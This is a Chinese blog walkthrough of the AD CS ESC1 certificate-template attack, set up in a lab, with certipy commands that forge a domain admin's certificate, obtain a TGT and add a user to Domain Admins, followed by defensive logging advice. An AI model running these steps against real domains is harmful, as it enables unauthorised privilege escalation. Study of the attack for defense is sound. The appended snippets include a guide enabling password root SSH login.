AD CS证书攻击与防御:ESC1

news2024/11/26 0:23:43

简介

2021年的BlackHat大会上,Will Schroeder和Lee Christensen发布了关于Active Directory Certificate Services 利用白皮书《Certified Pre-Owned - Abusing Active Directory Certificate Services》。
攻击对象为AD CS,攻击手法主要是利用证书模版配置、证书模版访问权限配置,PKI访问权限配置和CA访问权限配置错误,导致的windows域内权限提升或持久化。

条件

  • 攻击者已拿下域内一个低权限账户
  • 存在错误配置且已发布的证书
    (1) 颁发CA授予低权限用户读取权限(默认)
    (2) 模板中CA管理员审批未启用(默认)
    (3) 模板中不需要授权的签名(默认)
    (4) 模板允许低权限用户注册
    (5) 模板定义了启用认证的EKU
    (6) 证书模板允许请求者在请求中中指定一个SAN
  • AD: 支持PKINIT扩展认证(client通过证书进行kerberos认证,可选)

过程

  1. AD CS配置存在漏洞的证书: certsrv.msc->证书模版->右键管理
    在这里插入图片描述
  2. 复制现有的User证书,将新证书配置如下
    在这里插入图片描述
  3. 回到证书模版界面,右边空白处右键,新建->要颁发的证书模版,选择启用刚刚创建的ESC1证书模版
    在这里插入图片描述
  4. Certify find /vulnerable, 寻找错误配置证书ESC1
    在这里插入图片描述
  5. certipy req -username test@hack.com -password xxx -ca hack-2012-DC-CA -target 2012-DC.hack.com -template ESC1 -upn test2@hack.com
    在已获得域用户账户密码情况下,利用存在配置错误的ESC1证书模版,使用-upn参数指定要伪造的用户(此处test2为域管)
    在这里插入图片描述
  6. certipy auth -pfx test2.pfx -dc-ip 192.168.190.142, 利用已获取的test2域管证书拿其TGT,此时会出现error,表示kdc不支持通过证书进行kerberos认证(默认也没开启)
    在这里插入图片描述
  7. 可选择去域控上,组策略管理器->计算机配置->策略->管理模版->系统->KDC,开启PKINIT认证
    在这里插入图片描述
  8. certipy auth -pfx test2.pfx -dc-ip 192.168.190.142 -kirbi,获取域管test2的tgt。拿到域管tgt后的利用不再赘述
    在这里插入图片描述
  9. .另外,实战中不能改预控配置情况下,可选择使用ldaps进行证书验证(Active Directory supports certificate authentication over two protocols by default: Kerberos and Secure Channel (Schannel). One protocol that supports client authentication via Schannel is LDAPS (LDAP over SSL/TLS))
    在这里插入图片描述
  10. 工具默认支持对创建新用户,将用户加入组,改用户密码等。成功新建用户test_ldap,并加入域管组
    在这里插入图片描述
    在这里插入图片描述

防御

  1. 证书模版配置正确,另外也需确保证书模版访问权限,PKI访问权限,CA访问权限配置无误
  2. 日志开启
    win默认不开启证书相关日志审核,需要在AD CS服务器上,certsrv.msc中,右键左侧的CA名->属性->审核中勾选上要审核的事件
    在这里插入图片描述
  3. 日志监控
    可重点监控4886和4887相关折证书申请和签发日志
    在这里插入图片描述
    在这里插入图片描述
    其他event id:
    (1) Certificate设置相关更改
    	Windows    4873: A certificate request extension changed
    	Windows    4873: A certificate request extension changed
    	Windows    4873: A certificate request extension changed
    	Windows    4899: A Certificate Services template was updated
    	Windows    4900: Certificate Services template security was updated
    

(2) Certificate申请

	    Windows    4868: The certificate manager denied a pending certificate request
		Windows    4869: Certificate Services received a resubmitted certificate request
		Windows    4886: Certificate Services received a certificate request
		Windows    4887: Certificate Services approved a certificate request and issued a certificate
		Windows    4888: Certificate Services denied a certificate request
		Windows    4898: Certificate Services loaded a template

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1173536.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法专题】双指针—和为s的两个数

一、题目解析 只需在这个数组中找出两个数相加等于target即可 二、算法原理 1、暴力解法&#xff08;时间复杂度&#xff1a;O(n^2)&#xff09; 两个for循环嵌套遍历这个数组即可&#xff0c;不过会超时 class Solution { public:vector<int> twoSum(vector<int&…

开启AWS的ubuntu服务器的root用户登录权限

设置root用户密码 输入以下命令修改root用户密码 sudo passwd root输入以下命令切换到root用户 su root仅允许root用户用密码登录 输入以下命令编辑ssh配置文件 vi /etc/ssh/sshd_config新增以下配置允许root用户登录 PermitRootLogin yes把PasswordAuthentication修改为…

latex设置图片的位置

Latex提供了一些命令来控制图片的位置。我们可以通过使用\begin{figure}[位置选项]来控制图片的位置。位置选项可以有h、t、b、p、!这五个&#xff0c;分别表示以下含义&#xff1a; h:表示放在当前位置&#xff0c;不过有时由于论文的格式限制&#xff0c;可能放不下。 t:表示…

详解IPD需求分析工具$APPEALS

够让企业生存下去的是客户&#xff0c;所以&#xff0c;众多企业提出要“以客户为中心”&#xff0c;那如何做到以客户为中心&#xff1f;IPD中给出的答案是需求管理。 需求管理流程&#xff0c;是IPD&#xff08;集成管理开发&#xff09;体系中的四大支撑流程之一&#xff0…

Transformer的最简洁pytorch实现

目录 前言 1. 数据预处理 2. 模型参数 3. Positional Encoding 4. Pad Mask 5. Subsequence Mask 6. ScaledDotProductAttention 7. MultiHeadAttention 8. FeedForward Networks 9. Encoder Layer 10. Encoder 11. Decoder Layer 12. Decoder 13. Transformer 1…

看!MySQL 8.2 数据库支持读写分离啦!

更多文章&#xff0c;欢迎关注作者公众号&#xff0c;欢迎一起交流。 MySQL 8.2.0创新版本已于2023-10-17发布&#xff0c;MySQL Router 8.2 支持数据库的读/写分离&#xff0c;这里将在InnoDB Cluster集群中演示数如何进行读写分离&#xff0c;本篇内容包括&#xff1a;MySQL …

【数字三角形】

题目描述 上图给出了一个数字三角形。从三角形的顶部到底部有很多条不同的路径。对于每条路径&#xff0c;把路径上面的数加起来可以得到一个和&#xff0c;你的任务就是找到最大的和。 路径上的每一步只能从一个数走到下一层和它最近的左边的那个数或者右 边的那个数。此外…

逆向学习记录(1)windows系统基本配置

我的环境&#xff1a;win10系统64位。 可以在虚拟机上操作。改天记录一下如何安装虚拟机及里面的系统。 1、查看windows版本情况 按下winr&#xff0c;输入winver&#xff0c;即可。 2、新装的windows系统&#xff0c;桌面上没有我的电脑图标&#xff1f; 在桌面上右键&…

创建基于多任务的并发服务器

有几个请求服务的客户端&#xff0c;我们就创建几个子进程。 这个过程有以下三个阶段&#xff1a; 这里父进程传递的套接字文件描述符&#xff0c;实际上不需要传递&#xff0c;因为子进程会复制父进程拥有的所有资源。 #include <stdio.h> #include <stdlib.h>…

1822_使用python内置的库进行日期序列的生成

使用python的内置的库进行日期序列的生成 用到的库介绍 datetime 实现这样的功能其实只需要这一个库就够了&#xff0c;但是网络上找到的例程很多都额外增加了对time库的引用。只能说&#xff0c;这样不会出现错误&#xff0c;但是这样肯定会有一些计算资源上的消耗。 #!/u…

2023年【山东省安全员C证】考试技巧及山东省安全员C证模拟试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 山东省安全员C证考试技巧考前必练&#xff01;安全生产模拟考试一点通每个月更新山东省安全员C证模拟试题题目及答案&#xff01;多做几遍&#xff0c;其实通过山东省安全员C证模拟考试题很简单。 1、【多选题】《环境…

Leetcode-283 移动零

count记录0的个数&#xff0c;不为0的数取代0位置&#xff0c;最后把剩余位置置零 class Solution {public void moveZeroes(int[] nums) {int count 0;for(int i0;i<nums.length;i){if(nums[i]0){count;}else{nums[i-count]nums[i];}}for(int inums.length-count;i<nu…

最近又考了两个Oracle认证,交一下作业

从Oracle 10g 开始考Oracle的认证&#xff0c;现在已经有15个Oracle的认证了&#xff0c;最近又考了两个Oracle认证&#xff0c;分别是云和AI的。是现在正时髦的技术&#xff0c;又恰恰是我的短板&#xff0c;以考促学&#xff0c;正好系统地学习这两门知识。这两个证书的培训和…

csapp bomb lab part4

csapp bomb lab part4 phase 5 是一个循环&#xff0c;不断累加&#xff0c;访问的地址基于0x4024b0, phase 6 之后更新 汇编 地址计算 寄存器 cl 是 x86 汇编语言中的一个 8 位寄存器&#xff0c;它是 ecx 寄存器的低位部分。 具体来说&#xff0c;x86 架构中的寄存器可…

第一次测试项目该做些什么准备

目录 1、初步进入软件行业的表现和遇到的问题 2、快速融入项目组的普通方法 3、测试人员快速融入项目的非常规方法 一、初步进入软件测试行业的表现和遇到的问题 看到项目模块较多、功能较多&#xff0c;就怕就慌&#xff0c;不知道从什么地方下手理解不了业务&#xff0c;…

ELK极简上手

目录 引言 首先&#xff0c;下载相关的包 其次&#xff0c;安装启动elasticsearch 下一步&#xff0c;安装并启动logstash 最后&#xff0c;安装并启动kibana 进一步的&#xff0c;测试数据的流动 引言 最近整理电脑发现之前的一篇ELK极简入门笔记&#xff0c;现整理发出…

从源码角度解读BetterScroll中maxScrollY的含义

最近在看一个Vue3 Typescript项目&#xff0c;里面有段BetterScroll代码。 if (scroll.value && scroll.value.maxScrollY > -1) { state.manualLoading true await searchMore() state.manualLoading false } 对这个maxScrollY的含义不太明白&#xff0c;官网的解…

【存档】vscode配置latex环境

原来在另一台电脑上找了个教程配了一遍&#xff0c;这次重新配的时候&#xff0c;那个教程作者更新过后&#xff0c;改成只有linux的脚本了&#xff0c;所以存档一下。真香警告, 2023年初的vscodelatex写作 - 知乎 (zhihu.com) 环境&#xff1a; win10/win11vscodelatex work…

Flink源码解析八之任务调度和负载均衡

源码概览 jobmanager scheduler:这部分与 Flink 的任务调度有关。 CoLocationConstraint:这是一个约束类,用于确保某些算子的不同子任务在同一个 TaskManager 上运行。这通常用于状态共享或算子链的情况。CoLocationGroup & CoLocationGroupImpl:这些与 CoLocationCon…

【漏洞复现】typecho_v1.0-14.10.10_unserialize

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 文章目录 漏洞利用GetShell 下载链接&#xff1a;https://pan.baidu.com/s/1z0w7ret-uXHMuOZpGYDVlw 提取码&#xff1a;lt7a 首页 漏洞点&#xff1a;/install.php?finish 漏洞利用 …